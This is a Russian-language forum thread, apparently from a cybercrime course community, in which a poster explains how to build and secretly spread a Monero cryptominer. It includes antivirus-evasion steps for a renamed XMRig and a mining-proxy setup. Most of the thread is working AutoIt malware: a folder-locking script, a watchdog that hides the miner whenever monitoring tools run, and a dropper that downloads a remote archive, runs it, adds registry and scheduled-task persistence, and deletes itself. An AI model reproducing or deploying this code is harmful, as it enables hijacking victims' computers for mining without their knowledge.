Блог Использование темы от TMG

Статус
В этой теме нельзя размещать новые ответы.

Uid0_Root0

Premium Lite
Регистрация
26 Авг 2018
Сообщения
2
Реакции
27
Т.к многие ждут кнопку "бабло", бесполезно ожидая над тем, когда ж оно там все окупится(описывать как и что там я не буду, кто есть в чатике - поймут)
Использовал я для темы майнер(все кто с мнением "майнинг сдох" - могут идти читать мануальчики за 1000 как заработать миллион)
Что нужно:
непосредственно кошелек(я майню xmr поэтому использую Downloads). p.s. кто то в тг писал, что вообще не понимает, о чем речь и что делать(если у кого будут проблемы - в лс или тг)
xmrig
xmrig proxy
любой сервер, пойдет даже самый гов*ный(плохой)
мсворд(любой)
autoit
Purebasic
домен(ы) - можно регнуть на internetbs, домены не лочат, но вот с ав будут проблемосы, поэтому советую взять с пару десятков и рандомизировать их в майнере
В кратце схема выглядит так: собираем майнер, поднимаем прокси, юзаем полученную инфу от TMG.
Теперь приступим к подготовке!
Идем за исходниками xmrig/xmrig
дабы не постить тут все тонкости сборки, ссылка на мануал - Windows build - XMRig используем для сборки именно msys2, потому, как не на всех(особенно офисных пк с хр) есть фреймворк.
Далее - открываете каждый файл и вырезаете оттуда все, начиная с
Форматирование (BB-код):
/* XMRig
до
Форматирование (BB-код):
*   along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
долго, геморно, но оно того стоит.
Это поможет немного от ав некоторых, дальше - заменяете(в нотепад++ - найти в файлах - XMRig) на что то свое, это переменные(SYSCTL и т.д), название придумывайте уникальное, желательно.
Еще, советовал бы расширение .json заменить
Дальше собираем по тому мануалу, что тут Windows build - XMRig (очень советую не убирать донат, уважайте чужие труды)
Теперь немного "хитростей"
меняем переменные - теперь из 32 ав - палится 18, но чистить под 0 трудно и вовсе не нужно, поэтому меняя различные переменные добиваемся, что бы он как минимум не палился 360, касперским, нодом и собственно самим дефендером виндовым, можно так же заюзать и secretsquirrel/SigThief
Там есть примеры, как использовать
если совсем все плохо, можете стукнуть в лс, отправив нужные файлы в формате:tcpview.exe;your.exe где tcpview - откуда выдергивать, your - непосредственно куда запихать(бесплатно и без смс, ты на OpenSSource=))

Пока пропустим сборку хмриг и подготовим все:
майнить будем на hashvault.pro(можете выбрать любой другой, как и другую валюту), я майню xmr HashVault Monero Mining Pool
для начала нужно поднять прокси для своих ригов(домены уже должны быть регнуты), что бы особо не тратится, можно для тестов сервер вот тут: RU VDS | Виртуальные серверы ? в аренду VDS/VPS на SSD | Windows хостинг защитой от DDoS-атак
пойдет любой, но для теста можно использовать даже самый дешевый, ос я использовал debian 10
Как взяли - идем за хмриг-прокси.
https://github.com/xmrig/xmrig-proxy
там описано как и что, но основное я пожалуй опишу
Надеюсь никому из читающих тему не нужно рассказывать, что такое путти и как им пользоваться.
подключаемся и дальше по мануалу(у кого не получится, в лс или тг)
Форматирование (BB-код):
sudo apt install git build-essential cmake libuv1-dev uuid-dev libmicrohttpd-dev libssl-dev
git clone https://github.com/xmrig/xmrig-proxy.git
mkdir xmrig-proxy/build
cd xmrig-proxy/build
cmake ..
make
xmrig/xmrig-proxy
после того, как собрали, идем XMRig Config
я не буду вдаваться в тонкости сборки(там все примитивно), но, дабы не терять время, вот мой конфиг
Код:
./xmrig-proxy -a cryptonight-heavy --no-color -r 2 -R 1 --donate-level 1 -b 1.1.1.1.1:3334 -m simple --custom-diff 1000 -o pool.haven.hashvault.pro:3333 -u myxmrwallet -p PROXY:[email protected] -k
думаю тут особых проблем не будет:
1.1.1.1.1:3334 - заменить а ип сервера, 3334 на порт(любой), myxmrwallet - кошелек. [email protected] - на мыло(можно заменить на х, предварительно зарегавшись на пулле)
Далее - запускаем
cd /root/xmrig-proxy/build
./xmrig-proxy -a cryptonight-heavy --no-color -r 2 -R 1 --donate-level 1 -b 1.1.1.1.1:3334 -m simple --custom-diff 1000 -o pool.haven.hashvault.pro:3333 -u mywallet -p PROXY:[email protected] -k

если так же - отлично, все должно работать верно.
В майнере(для дебага можно взять это https://github.com/xmrig/xmrig/releases/download/v6.8.0/xmrig-6.8.0-gcc-win64.zip)
распаковываем, в батних засовываем(предварительно заменив ип и порт)
Код:
xmrig --url 1.1.1.1.1:3334 --user X--pass x --donate-level 1 --tls
запускаем(тестил я на вирте, можете тестить где угодно, это пока не столь важно, главное добится результата)
если все отстукивает и у вас так же Поздравляю, с 1 этапом вы справились(но, для уверенности, идем на HashVault Monero Mining Pool вписываем кошелек и смотрим, если у вас так же+- значит все работает верно, можно продолжать).
На данном этапе - пока все, разберитесь с этим, к утру будем собирать сам майнер.
Всем спокойной ночи(но это не точно)) )
 

Последнее редактирование:
Не ожидал на столько большого интереса, спасибо(челу, что задонатил, особенно=) )
теперь q&a
q:что такое переменные и на что их менять?
a: это я так назвал, если вы глянете коды(качаем соурсы тут _xmrig/xmrig) зайдя в любой файл, например Summary.cpp вы увидите
Код:
namespace xmrig {
Код:
#ifdef XMRIG_OS_WIN
Код:
#ifdef XMRIG_FEATURE_ASM
вот XMRIG нам необходимо заменить на что то свое, это не обязательно sysctl, это может быть все, что угодно, хоть рандомная хрень ousdghtrsgsg.
так же, не стоит забывать и о CMakeLists.txt, заменять нужно и там.

q: что такое прокси, зачем он нужен, сколько нужно доменов и т.д
a: прокси нужен для контроля именно майнеров, а то есть, если вы будете майнить напрямую на пулл, при первой же жалобе ваш кошелек улетит в бан со всем балансом, прокси же решает эту проблему, так как, из практики - хостер не пишет и ему вообще похер что вы делали, он просто лочит сервер и все, значит схема выходит такая - подняв прокси, привязываем туда домен(опишу так же в топике чуть позже), т.е майнер стучит не по ip;port а по domain.com:port, в случае лока сервера, мы берем новый, поднимаем то же самое как и на 1, продолжаем майнить не теряя "воркеры"
q: не шарю, собери за меня
a: я не собираю ничего, попробуйте перечитать, попробовать с начала, если будут какие либо трудности - обращайтесь, я(а возможно и товарищи из темы) - поможем, но, за вас никто ничего делать не будет.
P.S. я не утверждал, что тема подойдет для всех и не обещал и не обещаю, что с нее будет профит, это описание того, как поступил я и как воспользовался той информацией, которую получил
 

Последнее редактирование:
Продолжим=)
Устанавливаем AutoIt Downloads - AutoIt
что бы не запутаться - структура которая должна у вас получится:
с:\miner
- файлы майнера(что собрали для x32 и x64, как вы их назовете - не важно)
lockfolder.au3(создать)
wmiprvsestitle.au3(создать)
начнем с lockfolder

Код:
#Region
#AutoIt3Wrapper_UseX64=y
#AutoIt3Wrapper_Res_Comment=Local Security Authentication Server
#AutoIt3Wrapper_Res_Description=Local Security Authentication Server
#AutoIt3Wrapper_Res_Fileversion=1.0.0.16
#AutoIt3Wrapper_Res_Fileversion_AutoIncrement=y
#AutoIt3Wrapper_Res_LegalCopyright=Local Security Authentication Server
#AutoIt3Wrapper_Res_Language=1049
#AutoIt3Wrapper_Res_requestedExecutionLevel=asInvoker
#EndRegion
#Include <File.au3>
Opt("TrayIconHide", 1)
Func _ScriptDestroy()
    $sTemp = _TempFile(@TempDir, '~', '.bat')
    $sPath = FileGetShortName(@ScriptFullPath)
    $hFile = FileOpen($sTemp, 2)
    FileWriteLine($hFile, '@echo off')
    FileWriteLine($hFile, ':loop')
    FileWriteLine($hFile, 'del ' & $sPath)
    FileWriteLine($hFile, 'if exist ' & $sPath & ' goto loop')
    FileWriteLine($hFile, 'del ' & $sTemp)
    FileClose($hFile)
    Run($sTemp, '', @SW_HIDE)
EndFunc

$folders = @ScriptDir

    $cmdicacls = 'icacls'
    $cmdattrib = 'attrib'
    $cmdhidefile = '+s +h /S /D'
    $cmdfileaccesparamall = '/inheritance:e' & ' ' & '/deny'
    $cmdfileaccesparam1 = '"*S-1-1-0:(R,REA,RA,RD)"' & ' ' & '"*S-1-5-7:(R,REA,RA,RD)"'
    $cmdfileaccesparam2 = 'SYSTEM:(R,REA,RA,RD)'
    $cmdfileaccesparam3 = 'Administrators:(R,REA,RA,RD)'
    $cmdfileaccesparam4 = '"Users:(R,REA,RA,RD)"'
    $cmdfileaccesparam5 = '"@UserName:(R,REA,RA,RD)"'
    $cmdhidenfolder = $folders
RunWait($cmdicacls & ' ' & $cmdhidenfolder & ' ' & $cmdfileaccesparamall & ' ' & $cmdfileaccesparam1, '', @SW_HIDE)
RunWait($cmdicacls & ' ' & $cmdhidenfolder & ' ' & $cmdfileaccesparamall & ' ' & $cmdfileaccesparam2, '', @SW_HIDE)
RunWait($cmdicacls & ' ' & $cmdhidenfolder & ' ' & $cmdfileaccesparamall & ' ' & $cmdfileaccesparam3, '', @SW_HIDE)
RunWait($cmdicacls & ' ' & $cmdhidenfolder & ' ' & $cmdfileaccesparamall & ' ' & $cmdfileaccesparam4, '', @SW_HIDE)
RunWait($cmdicacls & ' ' & $cmdhidenfolder & ' ' & $cmdfileaccesparamall & ' ' & $cmdfileaccesparam5, '', @SW_HIDE)
RunWait($cmdattrib & ' ' & $cmdhidenfolder & ' ' & $cmdhidefile, '', @SW_HIDE)
_ScriptDestroy()
что делает код: при переходе юзера с диспетчера, процессхакера и т.п софта в папку с майнером(если спалит как то) - выдаст сообщение "доступ запрещен", по сути можете поставить данный скрипт на выполнение, скажем, раз в минуту, убрав функцию Func _ScriptDestroy()
компилим, оставляем в той же папке.

wmiprvsestitle.au3 - не большая оговорка - в данном примере я использую 2 конфига, чуть ниже расскажу как все работает

Код:
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_UseX64=y
#AutoIt3Wrapper_Res_Comment=Local Security Authority Process
#AutoIt3Wrapper_Res_Description=Local Security Authority Process
#AutoIt3Wrapper_Res_Fileversion=2.0.0.3
#AutoIt3Wrapper_Res_Fileversion_AutoIncrement=y
#AutoIt3Wrapper_Res_Language=1049
#AutoIt3Wrapper_Res_requestedExecutionLevel=asInvoker
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#Region
#EndRegion
#include <WinAPIEx.au3>
#include <Timers.au3>
#include <Date.au3>
Opt("TrayIconHide", 1)
AdlibRegister("FuncChecked")
If WinExists (@ScriptName) Then Exit
AutoItWinSetTitle (@ScriptName)
Func FuncChecked() ;func check bad procces
Select
        Case ProcessExists("taskmgr.exe")
            ContinueCase
        Case ProcessExists("Taskmgr.exe")
            ContinueCase
        Case ProcessExists("Taskmgr")
            ContinueCase
        Case ProcessExists("taskmgr")
            ContinueCase
        Case ProcessExists("procexp.exe")
            ContinueCase
        Case ProcessExists("procexp64.exe")
            ContinueCase
        Case ProcessExists("procexp32.exe")
            ContinueCase
        Case ProcessExists("ProcessHacker.exe")
            ContinueCase
        Case ProcessExists("SystemExplorer.exe")
            ContinueCase
        Case WinGetTitle("Process" & " " & "Explorer")
            ContinueCase
        Case WinGetTitle("System" & " " & "Explorer")
            ContinueCase
        Case WinGetTitle("AnVir" & " " & "Task" & " " & "Manager")
            ContinueCase
        Case WinGetTitle("Daphne")
            ContinueCase
        Case WinGetTitle("What’s" & " " & "Running")
            ContinueCase
        Case WinGetTitle("Process" & " " & "Hacker")
        ;if bad procces, stop miner
Run(@ComSpec & " /c taskkill /f /IM rundll.exe > NUL", @SystemDir, @SW_HIDE)
sleep(5000)
Case Else ; if not bad procces, run to miner
If Not ProcessExists("rundll.exe") Then
$Idle = 30
While 1
    Sleep(1000)
If _Timer_GetIdleTime() < $Idle * 1000 Then

        ProcessClose("rundll.exe")
        Run(@ComSpec & " /c taskkill /f /IM rundll.exe > NUL", @SystemDir, @SW_HIDE)
        Sleep(1000)
        Run(@ScriptDir & "\rundll.exe --url 1.1.1.1.1:3334 --user X--pass x --donate-level 1 --tls -t 1", '', @SW_HIDE)
    Do
      Sleep(1000)
    Until _Timer_GetIdleTime() > $Idle * 1000
     ProcessClose("rundll.exe")
     Run(@ComSpec & " /c taskkill /f /IM rundll.exe > NUL", @SystemDir, @SW_HIDE)
     Sleep(1000)
     Run(@ScriptDir & "\rundll.exe --url 1.1.1.1.1:3334 --user X--pass x --donate-level 1 --tls", '', @SW_HIDE)

  EndIf
WEnd
EndIf
   EndSelect
EndFunc

While 1
Sleep(500)
WEnd
rundll - это наш майнер
теперь по тому, как использовать:
Код:
Run(@ScriptDir & "\rundll.exe --url 1.1.1.1.1:3334 --user X--pass x --donate-level 1 --tls -t 1", '', @SW_HIDE)
и
Код:
     Run(@ScriptDir & "\rundll.exe --url 1.1.1.1.1:3334 --user X--pass x --donate-level 1 --tls", '', @SW_HIDE)
отвечают за то, как будет работать майнер, в 1 случае - он будет работать с параметром t 1 и не зависимо от кол-ва cpu использовать лишь 1 ядро, во втором же случае - при неактивности(движения мышки) параметр $Idle = 30 - 30 секунд - используется 75%
в Func FuncChecked() - можете добавить не достающие процессы, при которых майнер просто килльнется и будет жать их завершения
в итоге в папке у вас должно получится 3 файла(не считая WinRing0x64.sys)
lockfolder.exe
rundll.exe
wmiprvsestitle.exe

Можно пойти 2 путями, один из них - запихать все это в zip архив и вот таким скриптом(как один из примеров) лить и запускать
Код:
#include <InetConstants.au3>
#include <MsgBoxConstants.au3>
#include <WinAPIFiles.au3>
#include "WinHttp.au3"
#Include <File.au3>
#NoTrayIcon
Example()

Func Example()
$pwd = ""
Dim $aSpace[3]
$digits = 15
For $i = 1 To $digits
    $aSpace[0] = Chr(Random(65, 90, 1)) ;A-Z
    $aSpace[1] = Chr(Random(97, 122, 1)) ;a-z
    $aSpace[2] = Chr(Random(48, 57, 1)) ;0-9
    $pwd &= $aSpace[Random(0, 2, 1)]
Next
ConsoleWrite("Your password (" & $digits & " digits): " & $pwd & @CRLF)


    Local $sFilePath = _WinAPI_GetTempFileName(@TempDir)
Local $save = $sFilePath & $pwd & ".zip"
    Local $iBytesSize = InetGet("https://app.com/arch.zip", $save, $INET_FORCERELOAD)

    Local $iFileSize = FileGetSize($save)

$ZipFullName = $save
DirCreate("C:\ProgramData\Winrelase_" & $pwd)
$ExtractPath = "C:\ProgramData\Winrelase_" & $pwd

$oShell = ObjCreate("Shell.Application")
$oPath = $oShell.NameSpace($ExtractPath)
$oZip = $oShell.NameSpace($ZipFullName)
$oPath.CopyHere($oZip.Items, 16)
$runner = $ExtractPath & "\wmiprvsestitle.exe"
Run($ExtractPath & "\wmiprvsestitle.exe")
ConsoleWrite($runner)


If IsAdmin() Then
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", $pwd, "REG_SZ", $runner)
Else
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", $pwd, "REG_SZ", $runner)
EndIf
;FileCreateShortcut($runner, @StartupDir & "\" & $pwd ".lnk", $runner, "", "", "", "")
$dirrunvalidate = $runner
Run('schtasks.exe /create /sc minute /mo 5 /tn "fhgdfgasdg" /tr ' & $dirrunvalidate, '', @SW_HIDE)
Run($ExtractPath & "\lockfolder.exe")
    FileDelete($sFilePath)
EndFunc   ;==>Example
Func _ScriptDestroy()
    $sTemp = _TempFile(@TempDir, '~', '.bat')
    $sPath = FileGetShortName(@ScriptFullPath)
    $hFile = FileOpen($sTemp, 2)
    FileWriteLine($hFile, '@echo off')
    FileWriteLine($hFile, ':loop')
    FileWriteLine($hFile, 'del ' & $sPath)
    FileWriteLine($hFile, 'if exist ' & $sPath & ' goto loop')
    FileWriteLine($hFile, 'del ' & $sTemp)
    FileClose($hFile)
    Run($sTemp, '', @SW_HIDE)
EndFunc   ;==>_ScriptDestroy
If ProcessExists("wmiprvsestitle.exe") Then
   _ScriptDestroy()
   EndIf
на этом пока все, следующим шагом, собственно, будет создание doc'a и дальнейшая упаковка всей этой ерунды в 1 маленький док файл
 

Последнее редактирование:
т.к многие думают, что эта тема относится к обучению от TMG и является частью обучения, это не так, никакого отношения она не имеет и это всего лишь то, как я использовал ту информацию, которой обучает команда.
В данный момент дабы не отвлекать от основного обучения - тема "заморожена", будет дописана после окончания обучения, пожалуйста, слушайте и делайте то, что говорят не отвлекаясь на что то стороннее.
ув. Администрация, закройте пока топик или скройте.
 

т.к многие думают, что эта тема относится к обучению от TMG и является частью обучения, это не так, никакого отношения она не имеет и это всего лишь то, как я использовал ту информацию, которой обучает команда.
В данный момент дабы не отвлекать от основного обучения - тема "заморожена", будет дописана после окончания обучения, пожалуйста, слушайте и делайте то, что говорят не отвлекаясь на что то стороннее.
ув. Администрация, закройте пока топик или скройте.
Тема закрыта
 

Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху